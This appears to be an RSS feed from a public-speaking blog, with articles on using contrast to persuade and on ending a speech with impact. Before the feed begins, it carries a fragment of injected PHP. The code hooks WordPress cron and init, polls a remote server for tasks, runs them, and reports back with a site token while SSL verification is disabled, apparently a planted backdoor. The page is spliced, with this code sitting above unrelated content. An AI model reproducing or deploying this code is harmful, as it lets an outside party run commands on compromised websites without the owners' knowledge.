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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Memorability Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/memorability/ Public speaking Tue, 30 Oct 2018 15:07:04 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Contrast is key to powerful persuasion https://www.nowyouretalking.co.uk/2018/10/30/contrast-is-key-to-powerful-persuasion/ Tue, 30 Oct 2018 14:52:43 +0000 https://www.nowyouretalking.co.uk/?p=524 Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps…

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]]> Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps you ensure your message stands out.

Here are five opportunities for contrast when giving a persuasive speech or presentation:

Contrast

1. Contrast in the opening of your speech

Your opening needs to stand out and grab your audience’s attention so that they are focused on you and what you have to share with them, not thinking about the day they’ve had, what to cook for dinner or anything else that pops into their mind.  A polite, but innocuous platitude, such as “Hello, thank you for inviting me …” wastes those precious opening seconds when you need to make an impact and connect with your audience (the first step in persuasion).

A pause.  A smile.  Both are hard to pull off when you’re nervous, but dramatic in their impact.  Everyone warms to a genuine smile.  And a pause draws attention from whatever people are thinking about to focus on you and wonder what you will be sharing with them.

To keep their attention, open with a startling statistic, a personal anecdote (we all love a story), or a relevant quote from someone significant to your audience eg an industry expert or a famous person/historic figure.

 2. Contrast in content

In most business communication, the goal is to persuade your audience to adopt your call to action.  This might be to buy your sales pitch, affirm your recommendations, recommend you to others, etc.  Effective persuasion requires contrast in content.

Evidence-based information, eg statistics, track record or citation of a reinforcing quote from a relevant expert drive credibility, authority and recognition of your expertise.  However, these alone are not enough to persuade.  You need to contrast this ‘rational’ and ‘functional’ information with more emotive content that helps to build trust and relationships; connections with your listeners.  Here, storytelling and anecdotes come into their own.  They may reveal something about you as a person, what you are like to work with, your motivations and so on.  They are your chance to demonstrate your passion and enthusiasm for the case in hand.

Juxtaposed, the contrast of functional and emotive content can bring even greater potency to your message.

3. Contrast of language and words

Rich and colourful vocabulary stands out.  It works well in a speech or presentation in a way it might not in an everyday conversation.  We need to avoid words that are so obscure or jargonistic that people cannot understand and that is why it’s important to know your audience.  However, when we use rich language, it stands out as different and erudite, enhancing our credibility and authority as speakers.  For instance, instead of  ‘say’, try mutter, mumble, shout, whisper, etc.  They all communicate much more than just ‘saying’; they relate both the the act of saying and additionally convey the manner of that articulation.

Over and above words, we have rhetorical devices to contrast from everyday speech, for instance:

  • Alliteration, eg colourful contrasts communicate, startling statistic
  • Metaphor, an expression that describes a person or object by referring to something regarded as having similar characteristics, eg the city is a jungle, broken heart, bubbly personality
  • Repetition or ‘anaphora’ to give it its formal title appears in many speeches by public figures. One of my personal favourites is from Malala’s Nobel acceptance speech when she says:

“Let this be the last time that a girl or a boy spends their childhood in a factory.
Let this be the last time that a girl is forced into early child marriage.
Let this be the last time that a child loses life in war.
Let this be the last time that we see a child out of school.”

  • The rule of three pervades formal speeches, fairy stories, film titles, comedy.  Examples proliferate and you probably have your own favourites. One example I like is from Lewis Carroll’s Through the Looking Glass:

“The rule is: jam tomorrow, and jam yesterday, but never jam today”

Rhetorical devices like these give emphasis and colour, creating engaging and contrasting content.

4. Contrast of voice and body

I’m sure you’ve experienced the misery of the monotone. It’s hard to stay focused on a voice that drones on relentlessly, without any kind of variety of pitch, pace, volume, etc.  A voice that goes faster and slower, louder and quieter, harsher and softer, higher and lower is interesting.  That colour and contrast brings meaning and interest to our words and makes a greater impact.  For instance, if you say “the words tripped lightly off the tongue …”, you will render them more memorable if you use a short, staccato, light enunciation, using a faster pace that, combined, suggest the movement of the words themselves.

While you are talking, think about how you can use contrasting body language and gestures to give emphasis to your words.  If your hands and arms are constantly flailing around, you deny yourself the opportunity to use gestures. For example: to indicate height, position your hand to the relevant height, to indicate inclusion, use an all-encompassing sweep across your audience or wide arms coming together in a large, encircling gesture

 

To give your gestures impact, keep your arms relaxed and hanging loosely by your side and then move them when you want to reinforce a point.  Next time you are watching a play, note how the actors use gestures.

5. Contrasting stage positions

It is, without doubt, important to take a solid stance on stage because it conveys confidence.  A speaker shuffling about makes us feel uncomfortable and nervous and much less likely to be persuaded.  That’s not to say that you have to stay fixed in that position. Different parts of the stage can represent different locations, different points in time.  For instance, audience left for the past and audience right for the future.  When you change position, the audience travels with you to that time, place, etc.  The point is that these contrasting positions should always be taken with purpose, to reinforce your message.

Contrast is the light and shade, the interest, the difference that makes your speech or presentation stand out and helps your audience better remember your message.  To hold attention and persuade, contrast is crucial.

Recently published at:

Lid Radio

Empowered Business Magazine May 2018 pp21-22

Small Business Insider

 

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]]> Happy endings – how to end your speech with impact https://www.nowyouretalking.co.uk/2017/11/24/happy-endings-how-to-end-your-speech-with-impact/ Fri, 24 Nov 2017 17:13:17 +0000 https://www.nowyouretalking.co.uk/?p=314 Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions. She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word. And then it…

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]]>

Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And then it came to the conclusion, the ‘thank-you-for-listening, my-time-seems-to-be-up’ damp squib. Such a disappointing close and such a missed opportunity.

Call to action

Conclusions are the speaker’s opportunity to craft what they want their audience to remember tomorrow and take action on. It is the speaker’s opportunity to reaffirm their authority as someone with a message to share and one that is worth hearing. It is for this reason that many speakers believe the ending is the most important part of a speech.

Well-crafted final words will stick in people’s minds. This is partly the psychological recency effect and partly the result of a well-structured speech that ends with a fitting conclusion. For this reason it’s best to avoid wishy-washy endings:

  • Apologising for not covering everything you hoped to cover
  • Saying “Thank you for listening”
  • Empty pleasantry such as “It was a pleasure to be here”
  • Closing with the answer to a random question from the audience.

At the end of a speech, the conclusion enables you to summarise your key message and deliver a call to action. So, how can you end with a bang, not a Facunda-style whimper? How can you create happy endings?

Your conclusion should signal the end, but it is not just a final sentence. As a general rule of thumb, it should be about 10-15% of your speech. As soon as you start to summarise/review your main ideas, the audience understands that the speech is coming to an end. This removes the need for words like ‘in conclusion’ or ‘finally’. If you feel using this kind of signal to your audience is helpful, make sure you mean it; don’t ramble on or add new points.

There are a host of ways to end your presentation with a bang. They all strive to help you achieve impact, memorability, engagement and commitment.

Creating impact

As speakers, you want to influence your audiences. You are seeking to inform, persuade or inspire. You are trying to influence their knowledge, behaviour, attitudes, opinions and even beliefs. You need to crystallise your message and activate your audience. To create this level of impact, there are many techniques at your disposal that help produce compelling and impactful conclusions.

For example:

  • Reinforce your overall purpose

Make sure the purpose of your speech is reinforced and crystal clear in the ending. Think of this in terms of both content and style of delivery. If you say something inspiring your body language must mirror this – no awkward slouching but strong upright posture

  • Use delivery to emphasise importance

Be clear in articulating your key message. Harness your vocal variety, tone of voice, passion and enthusiasm – SAMENESS is the biggest enemy of the speaker; change energy, pace, etc. Difference indicates importance

  • Summarise using key questions

You might summarise in the tried-and-tested form of “Tell ‘em what you’re going to tell ‘em. Tell ‘em. Tell ‘em what you’ve told ‘em”. Consider using rhetorical questions based on your core premise to set up your summary of your key messages.   The key messages will be the answers to those questions

  • End with a powerful quote

Use a powerful and relevant quotation from an historic figure, business icon, etc. that resonates with your audience

  • A final strong statement

Make your final sentence the takeaway that encapsulates the overall theme, your main message and any call to action. Ensure it is a statement that underlines your authority and belief in your message.

Achieving memorability

As speakers, you want audiences to remember what you say, to share your pearls of wisdom and have a real impact on them:

  • Top speakers use anchor phrases to help them be memorable and repeatable or quotable. For Martin Luther King it was “I have a dream”. It’s a few words your audience will associate with you and your message. When your catchy, rhythmic phrase pops into their mind, the rest of your speech will be reactivated. It can contain the title of your speech or evolve during the speech, but it will help your audience remember your speech tomorrow and beyond. If your concluding remarks do not align with your anchor phrase, then they have no business in your conclusion, nor, indeed, in your speech!
  • Go further and cause conversation through controversy, humour, and/or great stories. Leave them thinking
  • Rhythm and repetition can both help to build memorability and impact, especially with an injection of appropriate humour
  • Bring the speech full circle by using ‘callbacks’ to your opening remarks or stories. By revisiting a story told earlier in your speech, you create memorability and provide the audience with triggers to recall your main message and serve as a powerful aide memoire
  • Use a relevant prop or image during your speech – one that will serve as a trigger. If you use it at the end of your speech your key message will be reinforced and will stick in people’s minds.

Building engagement and commitment

This is key to encouraging your audience to take action, particularly in any persuasive or inspirational speech:

  • When you speak, you lock into the ideas, information and beliefs that your audience members already have in their mind. And the conclusions are the reaffirmation of those thoughts and ideas. What’s in it for the listener and what you want them to do
  • Use personal stories and anecdotes to engage powerfully with your audience, while using a ‘callback’, to create familiarity and a warm connection with your listeners
  • Invite your audience to take up or consider any call to action you make. Tone of voice is crucial. If you want people to do something as a consequence of experiencing your speech, you need to persuade them and invite them in both your closing words and the manner of their delivery. Telling and instructing may break the connection you have created. Reconnect them with your stories and your central theme
  • Alternatively, take the words of an historic figure or other relevant person and invite the audience to do as they have done
  • Is your audience made up of people from the same organisation or do they share a common interest? Referencing a publication or a quotation that resonates with them will create a connection with you and your call to action
  • Show them your call to action as a solution to an issue, problem or challenge. Show them the benefits to them of embracing your call to action. Show them your commitment and enthusiasm.

Typewriter

In conclusion

Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And when it came to the conclusion, the audience was on its feet, cheering for more, queueing to be a part of the call to action, sharing Facunda’s stories and observations.

What a happy ending!

 

This article appeared in thought-leadership.top-consultant.com

Recently republished in lidradio.com

 

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